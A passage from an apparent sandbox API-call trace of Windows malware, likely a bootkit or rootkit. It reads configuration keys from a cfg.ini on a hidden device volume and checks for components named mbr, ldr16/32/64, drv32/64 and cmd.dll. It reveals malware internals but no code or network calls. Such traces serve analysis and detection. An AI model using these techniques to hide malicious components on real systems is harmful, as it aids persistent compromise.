-108 [0120.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.600] KeLeaveCriticalRegion () [0120.600] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.600] ReleaseMutex (hMutex=0x100) returned 1 [0120.600] Sleep (dwMilliseconds=0x2bf20) [0120.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b14bdf0, dwHighDateTime=0x1d24fa4)) [0120.606] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.606] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.606] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.606] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.606] KeEnterCriticalRegion () [0120.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.606] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.606] IdePortDispatch () returned 0x103 [0120.606] KeWaitForMutexObject () returned 0x0 [0120.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.606] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.606] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.606] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.606] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.606] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbd60 [0120.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.606] KeLeaveCriticalRegion () [0120.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.607] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.607] KeEnterCriticalRegion () [0120.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.607] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.607] KeLeaveCriticalRegion () [0120.607] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.607] KeEnterCriticalRegion () [0120.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.607] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.607] IdePortDispatch () returned 0x103 [0120.607] KeWaitForMutexObject () returned 0x0 [0120.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.607] KeLeaveCriticalRegion () [0120.607] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.607] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.607] KeEnterCriticalRegion () [0120.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.607] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034aa000 [0120.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.607] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.607] IdePortDispatch () returned 0x103 [0120.608] KeWaitForMutexObject () returned 0x0 [0120.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.608] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.608] IdePortDispatch () returned 0x103 [0120.608] KeWaitForMutexObject () returned 0x0 [0120.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.608] KeLeaveCriticalRegion () [0120.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.609] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.609] KeEnterCriticalRegion () [0120.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.609] KeLeaveCriticalRegion () [0120.609] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.609] KeEnterCriticalRegion () [0120.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.609] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.609] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.609] KeLeaveCriticalRegion () [0120.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.609] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.609] KeEnterCriticalRegion () [0120.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.609] ExFreePoolWithTag (P=0xfffffa8003bbbd60, Tag=0x0) [0120.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.609] KeLeaveCriticalRegion () [0120.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.609] ReleaseMutex (hMutex=0xf0) returned 1 [0120.609] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.609] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.609] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.609] KeEnterCriticalRegion () [0120.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.609] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.609] IdePortDispatch () returned 0x103 [0120.609] KeWaitForMutexObject () returned 0x0 [0120.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.610] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.610] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.610] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.610] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.610] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb9b0 [0120.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.610] KeLeaveCriticalRegion () [0120.610] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.610] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.610] KeEnterCriticalRegion () [0120.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.610] KeLeaveCriticalRegion () [0120.610] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.610] KeEnterCriticalRegion () [0120.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.610] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.610] IdePortDispatch () returned 0x103 [0120.610] KeWaitForMutexObject () returned 0x0 [0120.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.610] KeLeaveCriticalRegion () [0120.610] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.610] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.610] KeEnterCriticalRegion () [0120.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.610] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ab000 [0120.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.610] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.610] IdePortDispatch () returned 0x103 [0120.611] KeWaitForMutexObject () returned 0x0 [0120.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.611] IdePortDispatch () returned 0x103 [0120.611] KeWaitForMutexObject () returned 0x0 [0120.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.611] KeLeaveCriticalRegion () [0120.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.612] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.612] KeEnterCriticalRegion () [0120.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.612] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.612] KeLeaveCriticalRegion () [0120.612] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.612] KeEnterCriticalRegion () [0120.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.612] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.612] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbba70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.612] KeLeaveCriticalRegion () [0120.612] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.612] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.612] KeEnterCriticalRegion () [0120.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.612] ExFreePoolWithTag (P=0xfffffa8003bbb9b0, Tag=0x0) [0120.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.612] KeLeaveCriticalRegion () [0120.612] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.612] ReleaseMutex (hMutex=0xf0) returned 1 [0120.612] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.612] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.612] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.612] KeEnterCriticalRegion () [0120.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.612] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.612] IdePortDispatch () returned 0x103 [0120.612] KeWaitForMutexObject () returned 0x0 [0120.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.613] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.613] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.613] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.613] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.613] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.613] KeLeaveCriticalRegion () [0120.613] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.613] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.613] KeEnterCriticalRegion () [0120.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.613] KeLeaveCriticalRegion () [0120.613] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.613] KeEnterCriticalRegion () [0120.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.613] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.613] IdePortDispatch () returned 0x103 [0120.613] KeWaitForMutexObject () returned 0x0 [0120.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.613] KeLeaveCriticalRegion () [0120.613] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.613] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.614] KeEnterCriticalRegion () [0120.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.614] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ac000 [0120.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.614] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.614] IdePortDispatch () returned 0x103 [0120.614] KeWaitForMutexObject () returned 0x0 [0120.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.614] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.614] IdePortDispatch () returned 0x103 [0120.614] KeWaitForMutexObject () returned 0x0 [0120.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.614] KeLeaveCriticalRegion () [0120.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.615] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.615] KeEnterCriticalRegion () [0120.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.615] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.615] KeLeaveCriticalRegion () [0120.615] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.615] KeEnterCriticalRegion () [0120.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.615] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.615] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.615] KeLeaveCriticalRegion () [0120.615] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.615] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.615] KeEnterCriticalRegion () [0120.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.615] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.615] KeLeaveCriticalRegion () [0120.615] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.615] ReleaseMutex (hMutex=0xf0) returned 1 [0120.615] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.615] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.615] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.615] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.616] KeEnterCriticalRegion () [0120.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.616] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.616] IdePortDispatch () returned 0x103 [0120.616] KeWaitForMutexObject () returned 0x0 [0120.616] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.616] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.616] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.616] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.616] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.616] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.616] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.616] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 